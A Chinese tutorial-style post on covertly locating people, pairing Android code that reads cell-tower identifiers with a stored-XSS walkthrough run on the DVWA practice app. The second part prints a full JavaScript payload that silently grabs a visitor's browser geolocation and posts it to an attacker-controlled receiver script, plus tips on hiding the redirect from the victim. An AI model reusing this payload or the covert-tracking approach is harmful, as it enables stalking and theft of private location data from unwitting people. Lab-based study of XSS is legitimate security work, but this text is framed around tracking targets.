如何利用黑客技术获取经纬度进而手机号码定位

温馨提示:合理利用技术享受健康生活,私自定位属于违法犯罪行为。

基站定位原理:通过手机

如何利用黑客技术获取经纬度进而手机号码定位

信号获取基站信息,然后调用第三方公开的根据基站信息查找基站的经纬度值,想要具体地址信息的再根据经纬度值获取具体的地址信息。

一、通过手机信号获取基站信息

通过TelephonyManager 获取lac:mcc:mnc:cell-id(基站信息)的解释:

MCC,Mobile Country Code,移动国家代码(中国的为460);

MNC,Mobile Network Code,移动网络号码(中国移动为0,中国联通为1,中国电信为2);

LAC,Location Area Code,位置区域码;

CID,Cell Identity,基站编号;

BSSS,Base station signal strength,基站信号强度。

具体实现代码如下:

[java]

package com.easipass.test;

import java.util.List;

import android.app.Activity;

import android.content.Context;

import android.os.Bundle;

import android.telephony.NeighboringCellInfo;

import android.telephony.TelephonyManager;

import android.telephony.cdma.CdmaCellLocation;

import android.telephony.gsm.GsmCellLocation;

import android.util.Log;

import android.view.View;

/**

* 功能描述:通过手机信号获取基站信息

* # 通过TelephonyManager 获取lac:mcc:mnc:cell-id

* # MCC,Mobile Country Code,移动国家代码(中国的为460);

* # MNC,Mobile Network Code,移动网络号码(中国移动为0,中国联通为1,中国电信为2);

* # LAC,Location Area Code,位置区域码;

* # CID,Cell Identity,基站编号;

* # BSSS,Base station signal strength,基站信号强度。

* @author android_ls

*/

public class GSMCellLocationActivity extends Activity {

private static final String TAG = "GSMCellLocationActivity";

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

// 获取基站信息

findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View v) {

TelephonyManager mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

// 返回值MCC + MNC

String operator = mTelephonyManager.getNetworkOperator();

int mcc = Integer.parseInt(operator.substring(0, 3));

int mnc = Integer.parseInt(operator.substring(3));

// 中国移动和中国联通获取LAC、CID的方式

GsmCellLocation location = (GsmCellLocation) mTelephonyManager.getCellLocation();

int lac = location.getLac();

int cellId = location.getCid();

Log.i(TAG, " MCC = " + mcc + "\t MNC = " + mnc + "\t LAC = " + lac + "\t CID = " + cellId);

// 中国电信获取LAC、CID的方式

/*CdmaCellLocation location1 = (CdmaCellLocation) mTelephonyManager.getCellLocation();

lac = location1.getNetworkId();

cellId = location1.getBaseStationId();

cellId /= 16;*/

// 获取邻区基站信息

List<neighboringcellinfo> infos = mTelephonyManager.getNeighboringCellInfo();/<neighboringcellinfo>

StringBuffer sb = new StringBuffer("总数 : " + infos.size() + "\n");

for (NeighboringCellInfo info1 : infos) { // 根据邻区总数进行循环

sb.append(" LAC : " + info1.getLac()); // 取出当前邻区的LAC

sb.append(" CID : " + info1.getCid()); // 取出当前邻区的CID

sb.append(" BSSS : " + (-113 + 2 * info1.getRssi()) + "\n"); // 获取邻区基站信号强度

}

Log.i(TAG, " 获取邻区基站信息:" + sb.toString());

}

});

}

}

在AndroidManifest.xml添加获取位置信息的权限:

[html] www.2cto.com

<uses-permission>

点击“获取基站信息”的按钮后,Logcat的日志输出如下:

1、中国联通:

如何利用黑客技术获取经纬度进而手机号码定位

2、中国移动:

如何利用黑客技术获取经纬度进而手机号码定位

第二种利用XSS获取经纬度

Let’s do something interesting with XSS!


如何利用黑客技术获取经纬度进而手机号码定位

Bwapp之XSS –stored

这次的我打算在DVWA上做。文章介绍的方式是通过被攻击者点击评论里的链接,转到一个页面获取经纬度信息并发送到攻击者的服务器上。我对此加以了一点小小的改进,留言过后,只需要被攻击者访问查看留言的界面,就会神不知鬼不觉地将经纬度信息发送给攻击者。 实现的过程非常的简单,利用了网络攻防课上盗取cookie的思路。关键是获取经纬度的js操作。


如何利用黑客技术获取经纬度进而手机号码定位


利用的是html5的geolocation获取经纬度信息,百度一下很容易查到相关的用法,这里就不再赘述,但是这种方法获取经纬度的条件及其苛刻,需要电脑打开定位服务,并且赋予浏览器使用位置的权限。

我用的是win10系统,在电脑上发现定位服务可以赋予权限的只有Edge浏览器,其他浏览器使用这个定位则显示用户关闭了定位服务,而且就算在Edge浏览器里,获取当前位置的时候浏览器还会询问用户是否同意,所以这种方法在真实攻击环境下获取到位置的难度还是挺大的。经过一番折腾后发现电脑访问百度地图等定位软件定位,要么就是定位不到位置,要么定位十分模糊,连精确都算不上,没有手机上这么方便,很可能也是因为windows位置权限的原因。

书归正传,现在我们来说一下实现的过程。


如何利用黑客技术获取经纬度进而手机号码定位


通过geolocation获取到经纬度信息后,post到攻击者的服务器上即可,这里的get.php即为接收并记录信息的脚本文件。get.php内容如下:


如何利用黑客技术获取经纬度进而手机号码定位


当geolocation获取位置失败时也会返回错误码方便调试。


如何利用黑客技术获取经纬度进而手机号码定位


post函数即一个简单地创建form窗口提交的函数。


如何利用黑客技术获取经纬度进而手机号码定位


在DVWA的XSS_stored模块键入以下留言:

 


如何利用黑客技术获取经纬度进而手机号码定位


然后当被攻击者访问这个页面的时候,他的位置信息就会被记录下来。可以看到精确度还是很高的。


如何利用黑客技术获取经纬度进而手机号码定位


关于页面跳转的问题,被攻击者在访问留言板后,会跳转到发送信息的界面去,解决方法,在创建元素的时候创建一个iframe元素,在这个iframe里创建form提交,或者使用ajax就不会出现跳转的问题。

比较坑的一点是,使用geolocation的时候,可能会因为GPS信号等原因使得所在位置和判定位置相差甚远的情况,请耐心尝试,因为我也没有发现什么好办法 (逃,正常情况下误差在20m左右。

附上location.js代码:

var error=""; var long=0; var lat=0; if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition,showError);
} else {
error="Brower do not support" } function showPosition(position) {
alert("纬度: " + position.coords.latitude + "\n经度: " + position.coords.longitude);
long=position.coords.longitude;
lat=position.coords.latitude;
post('http://127.0.0.1/Location/get.php',{'LONG':long,'LAT':lat,'ERROR':error});
} function showError(error) { switch(error.code)
{ case error.PERMISSION_DENIED:
error="PERMISSION_DENIED" break; case error.POSITION_UNAVAILABLE:
error="POSITION_UNAVAILABLE" break; case error.TIMEOUT:
error="TIMEOUT" break; case error.UNKNOWN_ERROR:
error="UNKNOWN_ERROR" break; default: break;
}
post('http://127.0.0.1/Location/get.php',{'LONG':0,'LAT':0,'ERROR':error});
} function post(URL, PARAMS) { var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x]; // alert(opt.name) temp.appendChild(opt);
} document.body.appendChild(temp);
temp.submit();
} huh
获取到经纬度也就意味着我们知道了对方位置!


分享到:


相關文章: